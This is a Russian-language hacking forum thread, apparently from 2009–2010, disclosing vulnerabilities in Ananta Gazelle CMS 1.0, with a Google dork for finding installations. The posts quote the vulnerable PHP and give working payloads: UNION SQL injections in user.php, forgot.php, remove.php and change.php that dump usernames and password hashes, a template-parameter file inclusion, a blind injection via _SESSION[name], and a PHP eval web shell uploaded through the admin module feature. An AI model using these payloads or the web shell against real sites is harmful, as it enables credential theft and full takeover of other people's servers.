Уязвимости Ananta Gazelle

Discussion in 'Веб-уязвимости' started by Dimi4, 22 Apr 2009.

  1. Dimi4

    Dimi4 Чайный пакетик

    Joined:
    19 Mar 2007
    Messages:
    750
    Likes Received:
    1,046
    Reputations:
    291
    Ananta Gazelle

    Product : Ananta Gazelle
    Dork : "CMS: Ananta Gazelle"
    Site: http://www.anantasoft.com/
    Found by: Dimi4
    Date : 22.04.09

    Пробегся быстренько по коду:
    Довольна интересная скуль. Рассмотрим user.php

    PHP:
        $user $_GET["user"];
        
    $q mysql_query("select name from ".$tableprefix."users");
        while (
    $k mysql_fetch_array($qMYSQL_ASSOC)) {
            
    $userlist[$k{'name'}] = 1;
        }
        foreach (
    $userlist as $name => $value) {
            if (
    $user == $name) {
                
    $q mysql_query("select name, email, joindate, showemail from ".$tableprefix."users where name='".$user."'");
                while (
    $k mysql_fetch_array($qMYSQL_ASSOC)) {
                    
    $content "<h3>User profile: ".$k{'name'}."</h3><div>
                        <p>Username: "
    .$k{'name'}."</p>";
    Что же делает наша цмска? А она чтобы обезопасится от скули берет всех юзеров с базы а потом чекает с гетом) Ну и ладненько. Посмотрев на register.php понимаем что никакой фильтрации там нет! Думаю вы поняли к чему я веду.
    Регестрируемся на сайте как:
    Code:
    a' union select concat_ws(0x3a,name,pass),2,3,4+from+gaz_users -- 
    А далее:
    Code:
    [COLOR=Red][B]user.php[/B][/COLOR]?user=a' union select concat_ws(0x3a,name,pass),2,3,4+from+gaz_users -- 
    Sql-inj:
    forgot.php
    PHP:
        $users mysql_query("select name from ".$tableprefix."users where email='".$_POST["email"]."'");
            while (
    $user mysql_fetch_array($usersMYSQL_ASSOC)) {
    Code:
    POST: email=e' union select concat_ws(0x3a,name,pass),2,3,4,5,6,7,8,9+from+gaz_users -- 
    Раскрытие пути: (Вызываем скрипт из папки /admin/)

    http://localhost/Ananta_Gazelle1.0/admin/edituser.php


    Sql-inj
    remove.php

    PHP:
    $modules mysql_query("select name, file from ".$tableprefix."modules where number='".$_POST["number"]."'");
                while (
    $mod mysql_fetch_array($modulesMYSQL_ASSOC)) {
                    
    $name $mod{'name'};
    Code:
    POST: number=1' union select concat_ws(0x3a,name,pass),2,3,4,5+from+gaz_users --
    Заливка шелла: Admin -> Create Module:
    Name xek;
    Code:
    PHP:
    <?php if(get_magic_quotes_gpc()) { eval(stripslashes($_GET['ev'])); } else { eval($_GET['ev']); } ?>
     
    #1 Dimi4, 22 Apr 2009
    Last edited: 22 Apr 2009
    5 people like this.
  2. .:[melkiy]:.

    .:[melkiy]:. Elder - Старейшина

    Joined:
    25 Jan 2009
    Messages:
    355
    Likes Received:
    314
    Reputations:
    163
    Anantasoft Gazelle CMS 1.0


    LFI
    need: mq=off


    file: index.php
    PHP:
    $templatepath = include_once("modules/template.php"); // retrieve the correct template

    ......

    include_once(
    $templatepath."/index.php"); // add the template
    file:modules/template.php
    PHP:
    if (isset($_GET) && isset($_GET["template"]) && $_GET["template"]) {
        if (
    $admin == 1) {
            return 
    "../templates/".$_GET["template"];            
        } else {
            return 
    "templates/".$_GET["template"];
        }
    result:
    Code:
    GET /index.php?template=[COLOR=White]../../[local_file]%00[/COLOR]

    blind SQL-Injection
    need: mq=off, rg=on

    file: modules/login.php
    PHP:
    if (isset($_SESSION["name"]) && $_SESSION["name"]) {
        
    $users mysql_query("SELECT name FROM ".$tableprefix."users WHERE name='".$_SESSION["name"]."'");
        if (!
    mysql_fetch_array($usersMYSQL_ASSOC)) {
            unset(
    $_SESSION["name"]); // the user that somehow (2 website on same host using same session...) got logged in does not exist
        
    }
    result:
    Code:
    GET /index.php?[COLOR=White]_SESSION[name]=admin'+and+substring(version(),1,1)=5+--+[/COLOR]

    SQL-Injection
    need: mq=off, rg=on

    file:change.php
    PHP:
    if (isset($_SESSION["name"]) && $_SESSION["name"]) {
        
    $user $_SESSION["name"]; // get user name to auto fill-in current user data
    }
    $q mysql_query("select number, name, email, admin, active, showemail from ".$tableprefix."users where name='".$user."'");
    result:
    Code:
    GET /change.php?[COLOR=White]_SESSION[name]=1'+union+select+1,version(),3,4,5,6+--+[/COLOR]
     
    #2 .:[melkiy]:., 9 May 2010
    Last edited: 9 May 2010
    1 person likes this.